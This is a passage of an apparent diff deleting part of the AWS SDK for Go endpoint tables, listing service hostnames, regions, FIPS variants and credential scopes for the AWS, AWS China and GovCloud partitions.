endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "shield": service{ - IsRegionalized: boxedFalse, - Defaults: endpoint{ - SSLCommonName: "shield.us-east-1.amazonaws.com", - Protocols: []string{"https"}, - }, - Endpoints: endpoints{ - "us-east-1": endpoint{}, - }, - }, - "sms": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "snowball": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "sns": service{ - Defaults: endpoint{ - Protocols: []string{"http", "https"}, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "sqs": service{ - Defaults: endpoint{ - SSLCommonName: "{region}.queue.{dnsSuffix}", - Protocols: []string{"http", "https"}, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "fips-us-east-1": endpoint{ - Hostname: "sqs-fips.us-east-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - "fips-us-east-2": endpoint{ - Hostname: "sqs-fips.us-east-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-2", - }, - }, - "fips-us-west-1": endpoint{ - Hostname: "sqs-fips.us-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-1", - }, - }, - "fips-us-west-2": endpoint{ - Hostname: "sqs-fips.us-west-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-2", - }, - }, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{ - SSLCommonName: "queue.{dnsSuffix}", - }, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "ssm": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "states": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "storagegateway": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "streams.dynamodb": service{ - Defaults: endpoint{ - Protocols: []string{"http", "https"}, - CredentialScope: credentialScope{ - Service: "dynamodb", - }, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "local": endpoint{ - Hostname: "localhost:8000", - Protocols: []string{"http"}, - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "sts": service{ - PartitionEndpoint: "aws-global", - Defaults: endpoint{ - Hostname: "sts.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{ - Hostname: "sts.ap-northeast-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "ap-northeast-2", - }, - }, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "aws-global": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-1-fips": endpoint{ - Hostname: "sts-fips.us-east-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - "us-east-2": endpoint{}, - "us-east-2-fips": endpoint{ - Hostname: "sts-fips.us-east-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-2", - }, - }, - "us-west-1": endpoint{}, - "us-west-1-fips": endpoint{ - Hostname: "sts-fips.us-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-1", - }, - }, - "us-west-2": endpoint{}, - "us-west-2-fips": endpoint{ - Hostname: "sts-fips.us-west-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-2", - }, - }, - }, - }, - "support": service{ - - Endpoints: endpoints{ - "us-east-1": endpoint{}, - }, - }, - "swf": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "tagging": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "transfer": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "translate": service{ - Defaults: endpoint{ - Protocols: []string{"https"}, - }, - Endpoints: endpoints{ - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-1-fips": endpoint{ - Hostname: "translate-fips.us-east-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - "us-east-2": endpoint{}, - "us-east-2-fips": endpoint{ - Hostname: "translate-fips.us-east-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-2", - }, - }, - "us-west-2": endpoint{}, - "us-west-2-fips": endpoint{ - Hostname: "translate-fips.us-west-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-2", - }, - }, - }, - }, - "waf": service{ - PartitionEndpoint: "aws-global", - IsRegionalized: boxedFalse, - - Endpoints: endpoints{ - "aws-global": endpoint{ - Hostname: "waf.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - }, - }, - "waf-regional": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "workdocs": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "workmail": service{ - Defaults: endpoint{ - Protocols: []string{"https"}, - }, - Endpoints: endpoints{ - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "workspaces": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "xray": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - }, -} - -// AwsCnPartition returns the Resolver for AWS China. -func AwsCnPartition() Partition { - return awscnPartition.Partition() -} - -var awscnPartition = partition{ - ID: "aws-cn", - Name: "AWS China", - DNSSuffix: "amazonaws.com.cn", - RegionRegex: regionRegex{ - Regexp: func() *regexp.Regexp { - reg, _ := regexp.Compile("^cn\\-\\w+\\-\\d+$") - return reg - }(), - }, - Defaults: endpoint{ - Hostname: "{service}.{region}.{dnsSuffix}", - Protocols: []string{"https"}, - SignatureVersions: []string{"v4"}, - }, - Regions: regions{ - "cn-north-1": region{ - Description: "China (Beijing)", - }, - "cn-northwest-1": region{ - Description: "China (Ningxia)", - }, - }, - Services: services{ - "api.ecr": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{ - Hostname: "api.ecr.cn-north-1.amazonaws.com.cn", - CredentialScope: credentialScope{ - Region: "cn-north-1", - }, - }, - "cn-northwest-1": endpoint{ - Hostname: "api.ecr.cn-northwest-1.amazonaws.com.cn", - CredentialScope: credentialScope{ - Region: "cn-northwest-1", - }, - }, - }, - }, - "apigateway": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "application-autoscaling": service{ - Defaults: endpoint{ - Hostname: "autoscaling.{region}.amazonaws.com.cn", - Protocols: []string{"http", "https"}, - CredentialScope: credentialScope{ - Service: "application-autoscaling", - }, - }, - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "autoscaling": service{ - Defaults: endpoint{ - Protocols: []string{"http", "https"}, - }, - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "cloudformation": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "cloudtrail": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "codebuild": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "codedeploy": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "cognito-identity": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - }, - }, - "config": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "directconnect": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "dms": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "ds": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "dynamodb": service{ - Defaults: endpoint{ - Protocols: []string{"http", "https"}, - }, - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "ec2": service{ - Defaults: endpoint{ - Protocols: []string{"http", "https"}, - }, - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "ec2metadata": service{ - PartitionEndpoint: "aws-global", - IsRegionalized: boxedFalse, - - Endpoints: endpoints{ - "aws-global": endpoint{ - Hostname: "169.254.169.254/latest", - Protocols: []string{"http"}, - }, - }, - }, - "ecs": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "elasticache": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "elasticbeanstalk": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "elasticloadbalancing": service{ - Defaults: endpoint{ - Protocols: []string{"https"}, - }, - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "elasticmapreduce": service{ - Defaults: endpoint{ - Protocols: []string{"https"}, - }, - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "es": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "events": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "firehose": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "gamelift": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - }, - }, - "glacier": service{ - Defaults: endpoint{ - Protocols: []string{"http", "https"}, - }, - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "iam": service{ - PartitionEndpoint: "aws-cn-global", - IsRegionalized: boxedFalse, - - Endpoints: endpoints{ - "aws-cn-global": endpoint{ - Hostname: "iam.cn-north-1.amazonaws.com.cn", - CredentialScope: credentialScope{ - Region: "cn-north-1", - }, - }, - }, - }, - "iot": service{ - Defaults: endpoint{ - CredentialScope: credentialScope{ - Service: "execute-api", - }, - }, - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - }, - }, - "kinesis": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "lambda": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "logs": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "monitoring": service{ - Defaults: endpoint{ - Protocols: []string{"http", "https"}, - }, - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "polly": service{ - - Endpoints: endpoints{ - "cn-northwest-1": endpoint{}, - }, - }, - "rds": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "redshift": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "s3": service{ - Defaults: endpoint{ - Protocols: []string{"http", "https"}, - SignatureVersions: []string{"s3v4"}, - }, - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "s3-control": service{ - Defaults: endpoint{ - Protocols: []string{"https"}, - SignatureVersions: []string{"s3v4"}, - }, - Endpoints: endpoints{ - "cn-north-1": endpoint{ - Hostname: "s3-control.cn-north-1.amazonaws.com.cn", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "cn-north-1", - }, - }, - "cn-northwest-1": endpoint{ - Hostname: "s3-control.cn-northwest-1.amazonaws.com.cn", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "cn-northwest-1", - }, - }, - }, - }, - "sms": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "snowball": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - }, - }, - "sns": service{ - Defaults: endpoint{ - Protocols: []string{"http", "https"}, - }, - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "sqs": service{ - Defaults: endpoint{ - SSLCommonName: "{region}.queue.{dnsSuffix}", - Protocols: []string{"http", "https"}, - }, - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "ssm": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "states": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "storagegateway": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - }, - }, - "streams.dynamodb": service{ - Defaults: endpoint{ - Protocols: []string{"http", "https"}, - CredentialScope: credentialScope{ - Service: "dynamodb", - }, - }, - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "sts": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "swf": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - "tagging": service{ - - Endpoints: endpoints{ - "cn-north-1": endpoint{}, - "cn-northwest-1": endpoint{}, - }, - }, - }, -} - -// AwsUsGovPartition returns the Resolver for AWS GovCloud (US). -func AwsUsGovPartition() Partition { - return awsusgovPartition.Partition() -} - -var awsusgovPartition = partition{ - ID: "aws-us-gov", - Name: "AWS GovCloud (US)", - DNSSuffix: "amazonaws.com", - RegionRegex: regionRegex{ - Regexp: func() *regexp.Regexp { - reg, _ := regexp.Compile("^us\\-gov\\-\\w+\\-\\d+$") - return reg - }(), - }, - Defaults: endpoint{ - Hostname: "{service}.{region}.{dnsSuffix}", - Protocols: []string{"https"}, - SignatureVersions: []string{"v4"}, - }, - Regions: regions{ - "us-gov-east-1": region{ - Description: "AWS GovCloud (US-East)", - }, - "us-gov-west-1": region{ - Description: "AWS GovCloud (US)", - }, - }, - Services: services{ - "acm": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "api.ecr": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{ - Hostname: "api.ecr.us-gov-east-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-gov-east-1", - }, - }, - "us-gov-west-1": endpoint{ - Hostname: "api.ecr.us-gov-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-gov-west-1", - }, - }, - }, - }, - "api.sagemaker": service{ - - Endpoints: endpoints{ - "us-gov-west-1": endpoint{}, - }, - }, - "apigateway": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "application-autoscaling": service{ - Defaults: endpoint{ - Hostname: "autoscaling.{region}.amazonaws.com", - CredentialScope: credentialScope{ - Service: "application-autoscaling", - }, - }, - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "athena": service{ - - Endpoints: endpoints{ - "us-gov-west-1": endpoint{}, - }, - }, - "autoscaling": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{ - Protocols: []string{"http", "https"}, - }, - }, - }, - "clouddirectory": service{ - - Endpoints: endpoints{ - "us-gov-west-1": endpoint{}, - }, - }, - "cloudformation": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "cloudhsm": service{ - - Endpoints: endpoints{ - "us-gov-west-1": endpoint{}, - }, - }, - "cloudhsmv2": service{ - Defaults: endpoint{ - CredentialScope: credentialScope{ - Service: "cloudhsm", - }, - }, - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "cloudtrail": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "codedeploy": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-east-1-fips": endpoint{ - Hostname: "codedeploy-fips.us-gov-east-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-gov-east-1", - }, - }, - "us-gov-west-1": endpoint{}, - "us-gov-west-1-fips": endpoint{ - Hostname: "codedeploy-fips.us-gov-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-gov-west-1", - }, - }, - }, - }, - "config": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "directconnect": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "dms": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "ds": service{ - - Endpoints: endpoints{ - "us-gov-west-1": endpoint{}, - }, - }, - "dynamodb": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - "us-gov-west-1-fips": endpoint{ - Hostname: "dynamodb.us-gov-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-gov-west-1", - }, - }, - }, - }, - "ec2": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "ec2metadata": service{ - PartitionEndpoint: "aws-global", - IsRegionalized: boxedFalse, - - Endpoints: endpoints{ - "aws-global": endpoint{ - Hostname: "169.254.169.254/latest", - Protocols: []string{"http"}, - }, - }, - }, - "ecs": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "elasticache": service{ - - Endpoints: endpoints{ - "fips": endpoint{ - Hostname: "elasticache-fips.us-gov-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-gov-west-1", - }, - }, - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "elasticbeanstalk": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "elasticfilesystem": service{ - - Endpoints: endpoints{ - "us-gov-west-1": endpoint{}, - }, - }, - "elasticloadbalancing": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{ - Protocols: []string{"http", "https"}, - }, - }, - }, - "elasticmapreduce": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{ - Protocols: []string{"https"}, - }, - }, - }, - "es": service{ - - Endpoints: endpoints{ - "fips": endpoint{ - Hostname: "es-fips.us-gov-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-gov-west-1", - }, - }, - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "events": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "firehose": service{ - - Endpoints: endpoints{ - "us-gov-west-1": endpoint{}, - }, - }, - "glacier": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{ - Protocols: []string{"http", "https"}, - }, - }, - }, - "glue": service{ - - Endpoints: endpoints{ - "us-gov-west-1": endpoint{}, - }, - }, - "guardduty": service{ - IsRegionalized: boxedTrue, - Defaults: endpoint{ - Protocols: []string{"https"}, - }, - Endpoints: endpoints{ - "us-gov-west-1": endpoint{}, - }, - }, - "iam": service{ - PartitionEndpoint: "aws-us-gov-global", - IsRegionalized: boxedFalse, - - Endpoints: endpoints{ - "aws-us-gov-global": endpoint{ - Hostname: "iam.us-gov.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-gov-west-1", - }, - }, - }, - }, - "inspector": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "iot": service{ - Defaults: endpoint{ - CredentialScope: credentialScope{ - Service: "execute-api", - }, - }, - Endpoints: endpoints{ - "us-gov-west-1": endpoint{}, - }, - }, - "kinesis": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "kms": service{ - - Endpoints: endpoints{ - "ProdFips": endpoint{ - Hostname: "kms-fips.us-gov-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-gov-west-1", - }, - }, - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "lambda": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "logs": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "mediaconvert": service{ - - Endpoints: endpoints{ - "us-gov-west-1": endpoint{}, - }, - }, - "metering.marketplace": service{ - Defaults: endpoint{ - CredentialScope: credentialScope{ - Service: "aws-marketplace", - }, - }, - Endpoints: endpoints{ - "us-gov-west-1": endpoint{}, - }, - }, - "monitoring": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "polly": service{ - - Endpoints: endpoints{ - "us-gov-west-1": endpoint{}, - }, - }, - "rds": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "redshift": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "rekognition": service{ - - Endpoints: endpoints{ - "us-gov-west-1": endpoint{}, - }, - }, - "runtime.sagemaker": service{ - - Endpoints: endpoints{ - "us-gov-west-1": endpoint{}, - }, - }, - "s3": service{ - Defaults: endpoint{ - SignatureVersions: []string{"s3", "s3v4"}, - }, - Endpoints: endpoints{ - "fips-us-gov-west-1": endpoint{ - Hostname: "s3-fips-us-gov-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-gov-west-1", - }, - }, - "us-gov-east-1": endpoint{ - Hostname: "s3.us-gov-east-1.amazonaws.com", - Protocols: []string{"http", "https"}, - }, - "us-gov-west-1": endpoint{ - Hostname: "s3.us-gov-west-1.amazonaws.com", - Protocols: []string{"http", "https"}, - }, - }, - }, - "s3-control": service{ - Defaults: endpoint{ - Protocols: []string{"https"}, - SignatureVersions: []string{"s3v4"}, - }, - Endpoints: endpoints{ - "us-gov-east-1": endpoint{ - Hostname: 